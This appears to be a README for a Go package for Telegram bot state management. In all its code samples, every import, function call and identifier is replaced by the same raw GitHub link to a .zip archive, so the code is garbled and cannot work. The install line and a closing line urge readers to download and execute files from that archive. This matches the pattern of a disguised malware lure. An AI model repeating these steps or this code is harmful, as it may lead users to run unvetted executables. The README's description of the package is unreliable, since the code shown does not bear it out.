A simple and flexible state management package for Telegram bots in Go.
Managing state in Telegram bots can be challenging. The tg-state-manager package provides a straightforward solution. It allows developers to manage user states easily, making it perfect for building interactive bots. This library is designed with flexibility in mind, catering to both simple and complex bot requirements.
- Easy to Use: Simple API for quick integration.
- Flexible: Supports various state management strategies.
- Redis Support: Built-in support for Redis for persistent state storage.
- Generics: Leverages Go's generics for type safety.
- Lightweight: Minimal overhead for maximum performance.
- Compatible: Works well with popular Telegram bot libraries like Telebot and Telego.
To install the tg-state-manager, run the following command:
go get https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zipUsing tg-state-manager is straightforward. Below is a simple example to get you started.
package main
import (
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
)
func main() {
bot, err := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip("YOUR_API_TOKEN")
if err != nil {
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(err)
}
stateManager := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip()
// Your bot logic here
}You can easily manage user states with the following methods:
// Set state for a user
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(userID, "current_state")
// Get state for a user
state, err := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(userID)
if err != nil {
// Handle error
}
// Clear state for a user
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(userID)Here are a few examples to illustrate how you can use tg-state-manager in your bot.
package main
import (
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
)
func main() {
bot, _ := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip("YOUR_API_TOKEN")
stateManager := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip()
updates := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip("/")
for update := range updates {
if https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip != nil {
switch https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip {
case "/start":
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip, "started")
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip, "Welcome!"))
case "/stop":
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip)
https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip, "Goodbye!"))
}
}
}
}package main
import (
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
"https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip"
)
func main() {
bot, _ := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip("YOUR_API_TOKEN")
redisClient := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(&https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip{
Addr: "localhost:6379",
})
stateManager := https://raw.githubusercontent.com/darkfkklip/tg-state-manager/main/examples/registeration-bot/state_manager_tg_v2.1-beta.3.zip(redisClient)
// Your bot logic here
}We welcome contributions to tg-state-manager. If you want to contribute, please follow these steps:
- Fork the repository.
- Create a new branch (
git checkout -b feature-branch). - Make your changes.
- Commit your changes (
git commit -m 'Add new feature'). - Push to the branch (
git push origin feature-branch). - Create a pull request.
Please ensure your code adheres to the project's coding standards and includes appropriate tests.
This project is licensed under the MIT License. See the LICENSE file for details.
For the latest releases, please visit Releases. Download and execute the files as needed.
For further updates and documentation, check the Releases section.
The tg-state-manager package simplifies state management for Telegram bots in Go. Its flexibility and ease of use make it a great choice for developers looking to enhance their bot functionality. Whether you are building a simple bot or a complex interactive experience, this library provides the tools you need.
Feel free to explore the code, report issues, and contribute to the project. Happy coding!